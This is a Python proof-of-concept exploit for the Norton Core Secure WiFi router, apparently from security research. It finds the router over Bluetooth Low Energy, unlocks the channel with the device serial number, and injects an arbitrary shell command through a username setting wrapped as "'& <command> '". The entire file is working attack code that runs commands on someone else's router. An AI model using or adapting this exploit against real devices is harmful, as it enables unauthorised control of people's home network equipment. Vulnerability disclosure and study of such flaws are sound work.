#!/usr/bin/env python3 """PoC for exploiting Norton Core Secure. This module contain class for communicating with Norton Core Secure WiFi Router through Bluetooth Low Energy (BLE). Also this module is main. Example of run: $ ./ble_norton_core.py reboot """ import argparse import functools import sys from bluepy import btle from proto import Protocol from web import WebInfo USER_COMMAND_UUID = btle.UUID("6ACD7570-7341-4793-AA4C-E0F71C0E2A02") COMMAND_RESPONSE_UUID = btle.UUID("6ACD7570-7341-4793-AA4C-E0F71C0E2A03") STATUS_NOTIFICATION_UUID = btle.UUID("6ACD7570-7341-4793-AA4C-E0F71C0E2A04") PROTOCOL_VERSION_UUID = btle.UUID("6ACD7570-7341-4793-AA4C-E0F71C0E2A05") def connection_required(func): """Raise an exception before calling the actual function if the device is not connected.""" @functools.wraps(func) def wrapper(self, *args, **kwargs): """Wrapper for raise exception.""" if self.connection is None: raise Exception("Not connected") return func(self, *args, **kwargs) return wrapper class BLE: """Class to interface with Norton Core Router by BLE.""" def __init__(self, bt_mac, serial_number): """ :param bt_mac: Device MAC address as a string. :param serial_number: Device Serial Number for encryption. """ self._bt_mac = bt_mac self._serial_number = serial_number self.connection = None self._iv = None self._is_unlocked = False self._ack = None def connect(self, bt_adapter_nr=0): """Connect to device. :bt_adapter_nr: Bluetooth adapter index. Default: 0 for hci0. :return: True if connection succeed, False otherwise. """ print("[+] Connecting to Norton Core by BLE... This may take a few minutes.") try: connection = btle.Peripheral(self._bt_mac, iface=bt_adapter_nr) self.connection = connection.withDelegate(self) print("[+] Successful connected to Norton Core.") except (ValueError, btle.BTLEException) as err: print("[-] Connection failed: {}".format(err)) found_mac = self._search_rover() if found_mac and self.connection is None: self._bt_mac = found_mac self.connect() else: print("Please reboot router for access to it by BLE " + "and/or check Bluetooth and WAN cable connection.") sys.exit(2) def disconnect(self): """Disconnect from device.""" try: self.connection.disconnect() except btle.BTLEException: pass self.connection = None def is_connected(self): """Check connection to router. :return: True if connected. """ return self.connection is not None def test_connection(self): """Test if the connection is still alive. :return: True if connected. """ if not self.is_connected(): return False # send query for reading version of protocol try: self.get_protocol_version() except btle.BTLEException: self.disconnect() return False except BrokenPipeError: # bluepy-helper died self.connection = None return False return True @staticmethod def _search_rover(): """Function for searching Norton Core by name. :return: Found BT MAC address if searching succeed, None otherwise. """ print("[+] Start searching Norton Core manual...") scanner = btle.Scanner() try: devices = scanner.scan() except btle.BTLEException as err: print("Failed scan: {}. Check Bluetooth connection.".format(err)) sys.exit(2) for dev in devices: for (_, _, value) in dev.getScanData(): if "Rover" in value: print("[+] Norton Core found: {} ({}).".format(value, dev.addr)) return dev.addr return None def _write_characteristic_and_wait(self, msg): """Write characteristic and wait for handling response. :param msg: Message for writing. """ print("Waiting response...", end='', flush=True) self._send_characteristic.write(msg, True) count = 0 while True: if self.connection.waitForNotifications(1.0): print('\n', end='', flush=True) break print(".", end='', flush=True) count += 1 if count == 10: print("\nError of receiving response, please try again or reboot router.") self.disconnect() sys.exit(2) @connection_required def unlock_router(self): """Unlock BLE channel for communication. :return: True if router was unlocked, False otherwise. """ if not self._iv: self.get_iv() print("[+] Start unlocking router...") msg = Protocol.encode_request_unlock(self._serial_number, self._iv) self._write_characteristic_and_wait(msg) return self._is_unlocked @connection_required def get_iv(self, protocol_version='1.0'): """Retrieve IV for encryption. :param protocol_version: Protocol version of BLE communication. Default: '1.0'. """ print("[+] Start getting IV...") msg = Protocol.encode_request_iv(protocol_version) self._write_characteristic_and_wait(msg) return self._iv @connection_required def set_setting(self, setting_type=0, value=b''): """Set the setting value by type. :param setting_type: Setting type, see paper for details. Default: 0 for username setting. :param value: Value of the setting. Default: empty bytearray. """ if not self._is_unlocked: if not self.unlock_router(): print("Check device serial number and try again.") sys.exit(2) print("[+] Sending setting...") msg = Protocol.encode_set_setting(setting_type, value, self._serial_number, self._iv) while msg: sub_msg = msg[0:18] self._write_characteristic_and_wait(sub_msg) print("{} bytes sent".format(self._ack)) msg = msg[18:] @connection_required def get_protocol_version(self): """ :return: Version of BLE protocol. """ print("[+] Start getting protocol version...") buffer = self._protocol_version_characteristic.read() buffer = buffer.replace(b'\x00', b'') return buffer.decode('ascii') @connection_required def get_status_device(self): """ :return: Status of device, see paper for details. """ print("[+] Start getting status of device...") buffer = self._status_device_characteristic.read() # TODO add parsing status return buffer @property def _protocol_version_characteristic(self): """Get BLE characteristic for reading protocol version.""" characteristics = self.connection.getCharacteristics(uuid=PROTOCOL_VERSION_UUID) if not characteristics: return None return characteristics[0] @property def _recv_characteristic(self): """Get BLE characteristic for receiving data.""" characteristics = self.connection.getCharacteristics(uuid=COMMAND_RESPONSE_UUID) if not characteristics: return None return characteristics[0] @property def _send_characteristic(self): """Get BLE characteristic for sending commands.""" characteristics = self.connection.getCharacteristics(uuid=USER_COMMAND_UUID) if not characteristics: return None return characteristics[0] @property def _status_device_characteristic(self): """Get BLE characteristic for status of device.""" characteristics = self.connection.getCharacteristics(uuid=STATUS_NOTIFICATION_UUID) if not characteristics: return None return characteristics[0] def handleNotification(self, _, buffer): # pylint: disable=invalid-name """Handle received notifications. See `bluepy` documentation for details.""" # Getting IV. if len(buffer) == 18 and buffer[0] == 0x04 and buffer[1] == 0x10: self._iv = Protocol.decode_iv(buffer) # Getting status of unlocking. elif len(buffer) == 3 and buffer[0] == 0x04: self._is_unlocked = True # Getting length of sent data. elif len(buffer) == 4 and buffer[0] == 0x04: self._ack = Protocol.decode_ack(buffer) def main(): """Main function.""" parser = argparse.ArgumentParser(description='PoC for exploitation Norton Core Router BLE.') parser.add_argument('-s', "--serial_number", help="Set device serial number manual.") parser.add_argument('-m', "--bt_mac", help="Set BT MAC address of device manual.") parser.add_argument("command", help="Command for executing on router, for example `reboot`.") args = parser.parse_args() w_info = WebInfo() bt_mac = args.bt_mac or w_info.search_bt_mac() serial_number = (args.serial_number or w_info.search_serial_number())[-6:] command = "'& {} '".format(args.command) ble = BLE(bt_mac, serial_number) ble.connect() ble.set_setting(0, command) print("[+] Command successfully executed!") if __name__ == "__main__": main()